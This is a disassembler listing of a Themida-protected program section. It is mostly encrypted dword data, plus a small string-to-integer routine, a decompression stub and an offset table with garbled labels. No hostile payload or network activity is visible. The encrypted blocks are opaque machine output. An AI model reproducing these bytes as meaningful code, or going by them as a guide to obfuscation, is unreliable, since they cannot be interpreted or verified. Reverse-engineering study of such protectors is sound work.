		dd 1404h, 0C3524200h, 8D8B60D6h, 6AC1541h, 0AB98501h, 0F6106ACh
		dd 0BD83D3B7h, 6AC0099h, 3D840F02h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 92B4C355h, 909EB5F6h, 68E0Fh, 9D890000h, 6AC0F21h, 2E8DBD83h
		dd 0F0106ACh, 385h, 0D6BF0F00h,	0C78D8B60h, 6A06AC4Dh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 706DC355h, 8FF4E522h, 0BA487981h,	15D52595h
		dd 1FEFC8Ah, 0F78B6660h, 6861E68Ah, 0ABA6A4F5h,	0DE8h
		dd 0CBDD2C00h, 0A964E753h, 0B62F16C7h, 6657CAC1h, 5B03A3BAh
		dd 2404815Bh, 54595B8Bh, 0C03CBA66h, 0BF0FFF6Ah, 0D195FFD1h
		dd 6A06AC2Eh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 1475C357h, 9B4DDDE6h, 0CE824BDh
		dd 0BC000000h, 6AE093Bh, 0C95546FEh, 0E9DD127Ah, 0Bh, 1A0EA74Ch
		dd 6E6BADF6h, 5B7758F9h, 2655958Bh, 666106ACh, 516BDB81h
		dd 1AF9BD8Dh, 6A06ACh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0E18203C3h, 1667BC13h, 2D958B8Fh
		dd 8B06AC33h, 6A1C4Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 516A38C3h, 0C99D2BE3h, 6A06AC30h
		dd 2D958B01h, 5006AC24h, 89D68B66h, 0B589240Ch,	6AC09A1h
		dd 3215858Dh, 14E906AFh, 0A1000000h, 994D9BFDh,	0CF7BE250h
		dd 0D7522CC7h, 24E14DF3h, 0FF3EAD5Bh, 919D0BD0h, 8B06AC07h
		dd 0CE9204Fh, 30000000h, 0D0A74EC5h, 0B47F2BD3h, 6A320F66h
		dd 0C9BD8903h, 0E906AC1Eh, 6, 7CA423BFh, 0E850B63Eh, 0Ch
		dd 522B0814h, 0D71C780Ch, 0F370040Dh, 5BD78B66h, 6A240C89h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8B5FC352h, 0AC20459Dh, 15858D06h,	6A06AF32h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0A855C351h, 0EAEC6D80h, 5644828Ch, 6800Fh
		dd 0BD890000h, 6AC2799h, 0C381D0FFh, 60120D25h,	0BD8D87B7h
		dd 6AC1AF9h, 1C4F8BF9h,	119E40BBh, 8B016A7Ch, 0AC0FB595h
		dd 0E9605006h, 13h, 769E2399h, 0C543737Bh, 6EDCC7BFh, 0A35999A4h
		dd 0E8BEE58Ch, 11h, 0BED4F249h,	0AC19E3ADh, 4CD4980Fh
		dd 0DB912BDDh, 89615949h, 8DFC240Ch, 0AF321585h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0D0FF2C32h, 4F8B9EB3h, 97BBFC20h, 6A442595h,	91BD2903h
		dd 5006AC07h, 0DE8B5250h, 8B51310Fh, 585A5AD7h,	66240C89h
		dd 8C49CB81h, 3215858Dh, 0BA6606AFh, 0D0FFCDCFh, 26F58D89h
		dd 8D8B06ACh, 6AC4DC7h,	1D219D89h, 1FE06ACh, 0A680BA66h
		dd 4DC7858Bh, 12E906ACh, 0BF000000h, 3923BCFh, 950135FDh
		dd 299D2D92h, 7D573ABDh, 8100FEEFh, 0CC4D7C2h, 6A016A41h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 63FDC355h, 4668EE7Bh, 81819EB7h, 0E8B92404h
		dd 6A7E60h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 858DABC3h, 6AF321Fh, 0FFF7D680h, 53006AD0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 1DA68D4Eh, 0F8B7BCC3h
		dd 0BD83E253h, 6AC254Dh, 85840F00h, 0F000000h, 18Dh, 0BD83F900h
		dd 6AC0161h, 71850F01h,	0E9000000h, 0Eh, 84417B8Ch, 3B545F66h
		dd 5F021721h, 8D8D3BD0h, 6AF3229h, 80036AF8h, 16A40F3h
		dd 2EE19589h, 958906ACh, 6AC2E35h, 0D98BD1FFh, 0DA8B016Ah
		dd 6A016Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 7E56FFC3h, 0ACA2F840h, 8F0FD1FFh,	3, 0E8DA8B66h
		dd 0F9AF6E56h, 11259589h, 0F1B606ACh, 0BD29206Ah, 6AC3191h
		dd 0DFD1E281h, 0FF6A1DF4h, 6F59D8Bh, 95FF06ACh,	6AC2ED1h
		dd 1846C8BAh, 0B843h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0FD5592C3h, 9B502827h
		dd 6840F56h, 29000000h,	0AC30319Dh, 0BD38B06h, 43840FC0h
		dd 0F9000000h, 0AF9BD83h, 0F0006ACh, 3584h, 459D0100h
		dd 0FF06AC11h, 0AC0A7595h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 9D8B71E4h
		dd 6AC0A81h, 5E19D01h, 858B06ACh, 6AC05A9h, 0C688B7h, 7E900h
		dd 19C70000h, 0EA5CD5F8h, 6A585Ch, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 732E6DC3h, 8C660E04h
		dd 919509D9h, 0F606AC01h, 840F04C1h, 77h, 0E956C380h, 6Fh
		dd 0F15DDA81h, 0B58B17B3h, 6AC2FC5h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 64C35141h, 6840F61h, 29000000h
		dd 0AC1315BDh, 80C68106h, 6A000011h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0AEEEC355h
		dd 0C1802C9Dh, 6E96Ch, 0ABA20000h, 53FB3832h, 6C7h, 5EF80000h
		dd 0A1C09CBAh, 0F88375h, 0A85840Fh, 56BB0000h, 8309D4B8h
		dd 850F01F8h, 16Dh, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 1BC35242h, 0FAD22B88h, 0EE91CBCh, 12000000h
		dd 0BD09980Ah, 3F11C9DAh, 3BB0FE5h, 0B874h, 0DE90000h
		dd 0CC000000h, 4C5AD703h, 5C60DDEBh, 5F134A87h,	2FE9B589h
		dd 0C00B06ACh, 0A0840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 813DACC3h, 1215E6CAh
		dd 1F8834Fh, 96840Fh, 9D290000h, 6AC0E05h, 0F03F883h, 2884h
		dd 6850F00h, 9000000h, 0AC0571BDh, 89C02B06h, 0AC0A01BDh
		dd 0E0BD8D06h, 0BA005B89h, 614B78BEh, 9D8BE7FFh, 6AC0DB1h
		dd 1B8F9h, 0E9600000h, 0Dh, 0F85C6390h,	6E7069BEh, 96B96FF0h
		dd 0B850FEFh, 0E9000000h, 6, 0D93419DBh, 8D616AE2h, 5B89E0BDh
		dd 0D88B6600h, 7F67BB66h, 0BB66E7FFh, 0BD8DF51Fh, 6AC4453h
		dd 0E9D1BF0Fh, 264h, 0D1B52960h, 0F06AC32h, 681h, 799D3300h
		dd 6106AC1Bh, 4E2285C7h, 506ACh, 14E80000h, 55000000h
		dd 6FE88208h, 0C86DE461h, 0E70D60F4h, 490D5A0Eh, 0E9A55471h
		dd 10h,	6D4BF680h, 0AD5AAE55h, 689C5AC7h, 0BA9029E6h, 5B85Ah
		dd 0BD890000h, 6AC25F5h, 873E9h, 958B5000h, 6AC2141h, 2F8835Bh
		dd 104850Fh, 89530000h,	0AC1E7D9Dh, 0B85A06h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0CAC9C350h, 0EFB77453h, 105D958Bh, 0C00B06ACh
		dd 0A4840Fh, 89600000h,	0AC333DBDh, 0D5BD8906h,	6106AC25h
		dd 38D0Fh, 0C3800000h, 1F8838Bh, 0FF4A840Fh, 0B531FFFFh
		dd 6AC2551h, 0F03F883h,	0FFFEDC84h, 53006AFFh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 645665C7h
		dd 332CC42Eh, 0AC12A595h, 6AC02B06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 94E3C357h
		dd 49A77F6h, 0FC66F17h,	187h, 958BF900h, 6AC06F5h, 89E0BD8Dh
		dd 8BF9005Bh, 0E9E7FFD8h, 0Ah, 58F2057Eh, 89D1CEC6h, 0BD8D11A6h
		dd 6AC464Bh, 8E9BD89h, 5E906ACh, 60000001h, 2FCD958Bh
		dd 6E906ACh, 64000000h,	35AC7FD3h, 0F88361BAh, 1F850F03h
		dd 80000000h, 0BD8DE2F7h, 6AC47DFh, 0A8D2B4BAh,	0D6E95Dh
		dd 880F0000h, 6, 9017D381h, 0F8837416h,	10850F05h, 81000000h
		dd 27123DEAh, 722E92Dh,	82BB0000h, 83375FE8h, 850F06F8h
		dd 39h,	5E8h, 52B35500h, 9529A644h, 6AC2EC5h, 0E98D295Ah
		dd 8D06AC11h, 0AC49D7BDh, 0C9BD8906h, 0E906AC1Eh, 80h
		dd 21099589h, 6E906ACh,	86000000h, 0BB6707CDh, 7F883FBh
		dd 3E850Fh, 0DC8A0000h,	2B79BD8Dh, 6A06ACh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 731E74C3h
		dd 70186DF4h, 8B6D2527h, 0AC32E995h, 0A1E906h, 95890000h
		dd 6AC1C15h, 0F0AF883h,	1F85h, 9D8B5300h, 6AC26DDh, 0CFBD8D5Ah
		dd 306AC4Bh, 0AC0A819Dh, 6E906h, 9D8B0000h, 6AC1E6Dh, 19D8B57h
		dd 0B906AC0Ah, 1EC300Dh, 4D9D8BF8h, 8306AC1Ch, 840F003Fh
		dd 53h,	9858957h, 5B06AC34h, 958B0F30h,	6AC27A1h, 6AC9D1h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 62D3B9C3h, 0E947005Dh, 14h, 6F906470h, 667B1BD9h, 0B74EA44h
		dd 0EC2F2C52h, 2D9410ACh, 0FFFFA6E9h, 5FA0B3FFh, 8985DE80h
		dd 0AC4DCBBDh, 0AD9D8B06h, 8D06AC0Dh, 0AC2F258Dh, 31958906h
		dd 0FF06AC31h, 0AC21D1B5h, 0DAB70F06h, 9BA8858Dh, 8D5006AEh
		dd 0AC55EDBDh, 0D28D8D06h, 0B806AC6Dh, 54831ABCh, 730CF2Bh
		dd 4947C8D0h, 0B58DF875h, 6AC6D93h, 6DEA8D8Dh, 0CF2B06ACh
		dd 0C933A4F3h, 0B8h, 74C00B00h,	0F9BD8346h, 6AC0Ah, 95FF0674h
		dd 6AC0A75h, 4DCBB58Bh,	858D06ACh, 6AE9BA8h, 858DD0FFh
		dd 6AC43E8h, 85C7D0FFh,	6AC0B99h, 1, 3565A58Bh,	0B58B06ACh
		dd 6AC1C51h, 2441AD8Bh,	0C03306ACh, 6A000CC2h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 5686C355h, 0B6B7A607h, 2FBB6694h, 1DBD8355h,	6AC30h
		dd 41840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1A0424h, 50400000h, 380096C3h, 303A3C59h, 0EE9h, 0FEAFB700h
		dd 1664BE4Dh, 3971145Eh, 0FF68B847h, 0AC329995h, 6D958B06h
		dd 8306AC07h, 0AC32F5BDh, 850F0006h, 1C9h, 0AC52D381h
		dd 840F02F8h, 3, 8371C380h, 0AC0161BDh,	850F0106h, 1ADh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 2CC35242h
		dd 5665C78Eh, 0B850F64h, 0E9000000h, 6,	0DF3999C4h, 0BD837F1Fh
		dd 6AC12ADh, 6E840F00h,	6A000001h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0CEE3C357h
		dd 0A72D4CC4h, 31AE84C9h, 0AC26E595h, 1EBD8306h, 6AC4Eh
		dd 137840Fh, 8DF80000h,	0AE9BA885h, 0E98D8906h,	8906AC33h
		dd 0AC0AE1B5h, 0CBB58B06h, 0E906AC4Dh, 0Eh, 46FE06AEh
		dd 127AC955h, 7C27C1DDh, 0D0FF0653h, 333985C6h,	0E95406ACh
		dd 0Dh,	0D9E24EC6h, 91E0A90h, 755AE68Bh, 0FFF76861h, 29BABC42h
		dd 810A0215h, 41032434h
		dd 6A430Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0E372C7C3h, 0B9CAB34h, 0D8BF0F1Ah, 1281B5FFh
		dd 0F38A06ACh, 3AFF858Dh, 0EE906ACh, 0A7000000h, 0E95C4285h
		dd 0C0C34120h, 79D0CD99h, 8AD0FFA9h, 3006AF1h, 0AC127D9Dh
		dd 0E9FF6A06h, 0Dh, 0EB0D9CD5h,	0C94CA05Ch, 79C388C3h
		dd 8BD0FFEAh, 0AC10C995h, 0A5B5FF06h, 6A06AC28h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 3D7CC357h, 0F85E52DDh, 4BE28160h, 0B8669C89h, 1C99D425h
		dd 0D195FF61h, 6A06AC21h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 4A4BC352h, 8A6E6AFFh
		dd 81B58B60h, 0E906AC1Fh, 8, 5D3EC5E0h,	6BCE4004h, 0CBB58B61h
		dd 8906AC4Dh, 0AC06618Dh, 6AC306h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0E82F48C3h, 0CE9D2h
		dd 940D0000h, 5A60AB08h, 0CDFB0EFh, 0B58BBDD7h,	6AC05A9h
		dd 0BF59D8Bh, 0F60B06ACh, 2A840Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0B9EB98C3h
		dd 0D38B471Ah, 0BB0006C6h, 276CE16h, 4DD38589h,	8D2906ACh
		dd 6AC1315h, 0F00F883h,	31A84h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0B8BBh, 66F80000h
		dd 0B259F281h, 0F00F883h, 0D084h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 7DB4CCABh
		dd 0CB8166FEh, 0F883DC20h, 8E850F02h, 89000000h, 0AC280595h
		dd 4E858D06h, 6A06AC44h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 199EC357h, 89DA8B91h
		dd 0AC2F0585h, 9292D06h, 60900000h, 11E8h, 9718CA00h, 24960C70h
		dd 62FD1E16h, 8A5C7557h, 19BF5771h, 5853CD7Fh, 5FC18B53h
		dd 0D38B5061h, 0C99D8B90h, 0C306AC25h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 7EC35141h, 0F6CFC41Fh, 28D0FC8h
		dd 8A000000h, 0B8D9h, 810F0000h, 2, 1CE946B3h, 0B2000002h
		dd 1B88Bh, 0E7800000h, 95958B3Fh, 8D06AC06h, 0AC4453BDh
		dd 2870F06h, 8A000000h,	0E0E9D7h, 8A0F0000h, 9,	3890Fh
		dd 0E2800000h, 2F88352h, 43850Fh, 0B70F0000h, 11E8DEh
		dd 835A0000h, 5EE80BBAh, 7D99336h, 2BADB633h, 0E9B55441h
		dd 11h,	2C355654h, 468F23D8h, 4F68CB94h, 0B9A04F9Ch, 0BD8D5B71h
		dd 6AC464Bh, 14118589h,	87E906ACh, 0B7000000h, 3F88355h
		dd 4D850Fh, 0EF800000h,	0BD8DF97Eh, 6AC47DFh, 14E9h, 3B39FD00h
		dd 79E9F754h, 423883A0h, 0F51FB5D1h, 0D67D9C65h, 54E933h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0AF07C5C3h, 0B278920Eh, 83D08B05h, 850F05F8h
		dd 26h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h
		dd 52C35545h, 0E9A1D80Ah, 7Ch, 6057DA8Ah, 5DBD2956h, 5906AC0Bh
		dd 1949B58Bh, 0B96106ACh, 1EC300Dh, 8C99529h, 3F8306ACh
		dd 55840F00h, 89000000h, 0AC0BB985h, 600F3006h,	5D1958Bh
		dd 870F06ACh, 6, 0BFD858Bh, 0D16106ACh,	2EBB66C9h, 68D0F48h
		dd 33000000h, 0AC05ED9Dh, 0F2B34706h, 0FFFFC1E9h, 56006AFFh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0FC57B599h, 0F05F883h, 9685h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 5D86E28h, 0B4955BACh
		dd 623C12BBh, 0D98C6608h, 1859F381h, 0C1F61C5Eh, 28850F04h
		dd 0E8000000h, 6, 0CBDED948h, 8589585Ah, 6AC3399h, 0B85Ah
		dd 9D010000h, 6AC32D9h,	3AE9h, 519D8B00h, 8B06AC28h, 0AC316185h
		dd 57D38106h, 0FF61061Ah, 56006AE0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0A95A228Fh
		dd 3C3808BBh, 83D78B51h, 0AC21D1BDh, 850F0006h,	81h, 89DF8B50h
		dd 0B8B62404h, 333985C6h, 664506ACh, 6849E1BBh,	66F08DC1h
		dd 83B35250h, 3AB7310Fh, 481585Ah, 81DBA824h, 55006A27h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 800FE334h, 5, 72C38166h, 81B5FF9Eh, 8106AC12h, 0CA9F0CCBh
		dd 0B4EF8046h, 3AFF858Dh, 0BF0F06ACh, 52D0FFDBh, 5B616053h
		dd 0D185895Ah, 0F06AC21h, 8958D6BFh, 0AC3189B5h, 22BD8306h
		dd 6AC4Eh, 38840Fh, 9D8B0000h, 6AC2679h, 28A5B5FFh, 6A06ACh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0DAE448C3h, 0F780C84Ah, 0D195FFCAh, 8006AC21h, 0F8831BD6h
		dd 27850F00h, 0E9000001h, 0Ch, 620C9C1Eh, 0B7AD8A10h, 81D9B563h
		dd 23A5BD83h, 0F0006ACh, 6E84h,	559D8B00h, 2906AC19h, 0AC342D95h
		dd 0A5B5FF06h, 0F06AC23h, 1B8D8BFh, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 8B85C353h, 27DE9DFh,	6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0CEAA37C3h, 92CD73ADh
		dd 0F052975h, 682h, 79952900h, 0FF06AC33h, 0AC28A5B5h
		dd 0BE806h, 0E31D0000h,	52A5D089h, 0DBB575F6h, 14E9EDh
		dd 2E560000h, 599ACA26h, 7C70A72Eh, 7D3108CAh, 5C1C8F59h
		dd 0FF5A4863h, 0AC28A5B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 738EEEAh, 0D1B5FFA8h
		dd 6A06AC21h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0E651C357h, 9D334CB0h,	6AC3449h
		dd 1C6E9h, 0DE800h, 9C30000h, 0BE0891A6h, 0A9815F79h, 8A27F27Ah
		dd 6A5F5AF7h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 5256C352h, 9D8B99C9h, 6AC09B1h
		dd 0F19BD83h, 0F0006ACh, 0C185h, 66BB6600h, 3985C620h
		dd 4D06AC33h, 0D9B50360h, 8106AC33h, 8B714FD7h,	0D98B6121h
		dd 0B0524C68h, 0BF6660B5h, 525006ECh, 0FC28B66h, 5A595731h
		dd 34816158h, 8524E424h, 5880F11h, 66000000h, 0DD78DB81h
		dd 3479B5FFh, 0CA8106ACh, 6C92410h, 3AFF858Dh, 6A06ACh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 402530C3h, 0AE9D9h, 2A840000h, 3E12D58Eh, 1950B68Ch
		dd 0D98BD0FFh, 0FE9h, 9F9FA800h, 0F647170Ch, 0D4B708D0h
		dd 87C9F86Dh, 0F198589h, 0F6006ACh, 128Fh, 0CE800h, 0B7B00000h
		dd 722D798Ch, 8F413401h, 615F3014h, 12258D31h, 0B806ACh
		dd 0B7000000h, 0CBBD8998h, 0FC06AC4Dh, 840FC00Bh, 5Fh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0F4C35646h
		dd 0C4CFE29Ch, 958B177Fh, 6AC1099h, 7AE9h, 0DE800h, 83FB0000h
		dd 2E3BCBE5h, 639BAB31h, 0E88DB139h, 13h, 311D1C5Eh, 0C8ECCB78h
		dd 50C17CFDh, 399FB2FAh, 8B60F7B5h, 0AC220595h,	0FF5B5B06h
		dd 0AC21D1B5h, 8DDD8A06h
		dd 0AE9BA885h, 50D38B06h, 890F5250h, 6,	310F5250h, 310F585Ah
		dd 489585Ah, 50006A24h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0E6D6D686h, 50E596FFh, 0EDBD8D56h
		dd 8D06AC55h, 0AC77F88Dh, 23BCB806h, 0CF2B7483h, 0C8D00730h
		dd 0F8754947h, 0BD83585Eh, 6AC23A5h, 8B067400h,	0AC27B18Dh
		dd 0B8C93306h, 0
		dd 840FC00Bh, 0A8h, 0AF9BD83h, 740006ACh, 7595FF06h, 0B806AC0Ah
		dd 0
		dd 975C00Bh, 4DD3BD83h,	740106ACh, 0D3BD8309h, 206AC4Dh
		dd 0B58B0E75h, 6AC4DCBh, 9BA8858Dh, 0D0FF06AEh,	301DBD83h
		dd 740006ACh, 9995FF06h, 8D06AC32h, 0AC43E885h,	83D0FF06h
		dd 0AC0099BDh, 2F750206h, 3565A58Bh, 858B06ACh,	6AC23A5h
		dd 0C7240489h, 0AC0B9985h, 106h, 0CFB58B00h, 8B06AC4Dh
		dd 0AC2441ADh, 1B806h, 0CC20000h, 0C700EB00h, 0AC0B9985h
		dd 106h, 65A58B00h, 8B06AC35h, 0AC1C51B5h, 41AD8B06h, 3306AC24h
		dd 0CC2C0h, 301DBD83h, 740006ACh, 99BD830Fh, 6AC32h, 95FF0674h
		dd 6AC3299h, 4DCBB58Bh,	6AC306ACh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 2EAEC351h
		dd 78C0Fh, 8B600000h, 0F3B70FDEh, 0BE961h, 9A770000h, 0C66F1704h
		dd 725348BBh, 62E78037h, 0BD89D22Bh, 6AC2581h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_54F8E8
; ---------------------------------------------------------------------------


loc_54F8E6:				; CODE XREF: Themida_:0054F8EBj
		inc	eax
		inc	edi


loc_54F8E8:				; CODE XREF: Themida_:0054F8E4j
		cmp	byte ptr [edi],	0
		jnz	short loc_54F8E6
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_54F917
; ---------------------------------------------------------------------------


loc_54F8F4:				; CODE XREF: Themida_:0054F919j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_54F90C
; ---------------------------------------------------------------------------


loc_54F909:				; CODE XREF: Themida_:0054F90Fj
		mul	ebx
		dec	esi


loc_54F90C:				; CODE XREF: Themida_:0054F907j
		cmp	esi, 0
		ja	short loc_54F909
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_54F917:				; CODE XREF: Themida_:0054F8F2j
		or	eax, eax
		jnz	short loc_54F8F4
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 29h,	85h, 0A9h
		dd 0F06AC2Ah, 0C18BD2BFh, 1ADE9h, 748B6000h, 7C8B2424h
		dd 0B2FC2824h, 46068A80h, 0BB470788h, 2, 850FD202h, 5
		dd 1246168Ah, 0E2830FD2h, 2FFFFFFh, 5850FD2h, 8A000000h
		dd 0D2124616h, 6A830Fh,	0C0330000h, 850FD202h, 5, 1246168Ah
		dd 2A830FD2h, 2000001h,	5850FD2h, 8A000000h, 0D2124616h
		dd 0D202C013h, 5850Fh, 168A0000h, 13D21246h, 0FD202C0h
		dd 585h, 46168A00h, 0C013D212h,	850FD202h, 5, 1246168Ah
		dd 0FC013D2h, 684h, 0F82B5700h,	885F078Ah, 2BB4707h, 0E9000000h
		dd 0FFFFFF70h, 1B8h, 0FD20200h,	585h, 46168A00h, 0C013D212h
		dd 850FD202h, 5, 1246168Ah, 0DE820FD2h,	2BFFFFFFh, 1BBC3h
		dd 850F0000h, 34h, 1B9h, 0FD20200h, 585h, 46168A00h, 0C913D212h
		dd 850FD202h, 5, 1246168Ah, 0DE820FD2h,	56FFFFFFh, 0F52BF78Bh
		dd 0E95EA4F3h, 0FFFFFF08h, 8E0C148h, 8B46068Ah,	1B9E8h
		dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C9h
		dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 7D003Dh, 22830F00h
		dd 3D000000h, 500h, 0E820Fh, 56410000h,	0F02BF78Bh, 0E95EA4F3h
		dd 0FFFFFEB4h, 0F7FF883h, 387h,	2C18300h, 2BF78B56h, 5EA4F3F0h
		dd 0FFFE9BE9h, 46068AFFh, 0E8C0C933h, 17840F01h, 83000000h
		dd 0E88B02D1h, 2BF78B56h, 5EA4F3F0h, 1BBh, 0FE76E900h
		dd 7C2BFFFFh, 7C892824h, 0C2611C24h, 29BA0008h,	0E9000009h
		dd 2166Ah, 25B0028h, 0
		dd 12FF6Ch, 5C5C1Fh, 5C7664h, 25B003Fh,	5C7664h, 202h
		dd 2, 1, 6, 0F9A87FACh,	5 dup(0)
		dd offset byte_556311
		dd offset byte_559F95
		dd offset byte_553757
		dd offset byte_5508CD
		dd offset byte_55B575
		dd offset word_55B892
		dd offset byte_553373
		dd offset dword_55A3E8
		dd offset dword_5581D0
		dd offset word_554C82
		dd offset byte_552101
		dd offset byte_557C97
		dd offset byte_5560A3
		dd offset dword_5589F0
		dd offset byte_554EB5
		dd offset byte_550EF9
		dd offset byte_5515C3
		dd offset byte_55B7F7
		dd offset dword_555530
		dd offset byte_5513C7
		dd offset byte_553649
		dd offset word_551AB6
		dd offset byte_55A9BD
		dd offset byte_555CF3
		dd offset dword_5544C8
		dd offset byte_5559E3
		dd offset byte_55BBCF
		dd offset byte_554DFF
		dd offset byte_55AE2B
		dd offset byte_553C7D
		dd offset dword_559A0C
		dd offset dword_559654
		dd offset word_5514AA
		dd offset byte_55108D
		dd offset aNhJ		; "╜h╥j"
		dd offset byte_551547
		dd offset byte_55AE95
		dd offset word_553F9E
		dd offset word_55A58E
		dd offset word_55265E
		dd offset word_556816
		dd offset word_55597A
		dd offset word_55A812
		dd offset byte_5535CB
		dd offset dword_55BB0C
		dd offset byte_550E27
		dd offset dword_5519B8
		dd offset word_554972
		dd offset word_55234A
		dd offset dword_55A4D4
		dd offset word_55488E
		dd offset byte_552D69
		dd offset byte_553A99
		dd offset dword_55482C
		dd offset word_5501D2
		dd offset dword_55B008
		dd offset dword_55433C
		dd offset byte_550E1F
		dd offset dword_55402C
		dd offset aNsf		; "╜ИF\""
		dd offset byte_551FCD
		dd offset dword_55AEAC
		dd offset word_55163E
		dd offset byte_55A54B
		dd offset word_55A52E
		dd offset byte_55529B
		dd offset word_551A16
		dd offset byte_556FF3
		dd offset byte_553D15
		dd offset byte_555127
		dd offset byte_55B7A3
		dd offset byte_551421
		dd offset word_55A622
		dd offset word_550982
		dd offset word_55821A
		dd offset byte_55AFB5
		dd offset dword_554F80
		dd offset dword_558030
		dd offset dword_55894C
		dd offset byte_550E39
		dd offset byte_556393
		dd offset dword_557500
		dd offset byte_55BC91
		dd offset word_550EDA
		dd offset aM0SCa	; "╛0ьSЁ≈─ц"
		dd offset word_55B056
		dd offset byte_550C67
		dd offset dword_55BC64
		dd offset dword_557F44
		dd offset byte_558B0B
		dd offset dword_550FC8
		dd offset byte_5561D1
		dd offset word_55540E
		dd offset dword_559920
		dd offset word_553926
		dd offset byte_55A093
		dd offset dword_555274
		dd offset byte_558F61
		dd offset dword_556C78
		dd offset aNsso		; "╜ИХo"
		dd offset word_554DEA
		dd offset aNssul	; "╜SИНL"
		dd offset word_55927A
		dd offset word_5596EA
		dd offset byte_554BA1
		dd offset byte_551CB5
		dd offset byte_5519FB
		dd offset word_550756
		dd offset aM0So		; "╛0ьИ╝-"
		dd offset word_5543A2
		dd offset byte_559BB3
		dd offset dword_554B88
		dd offset word_556C92
		dd offset word_55114A
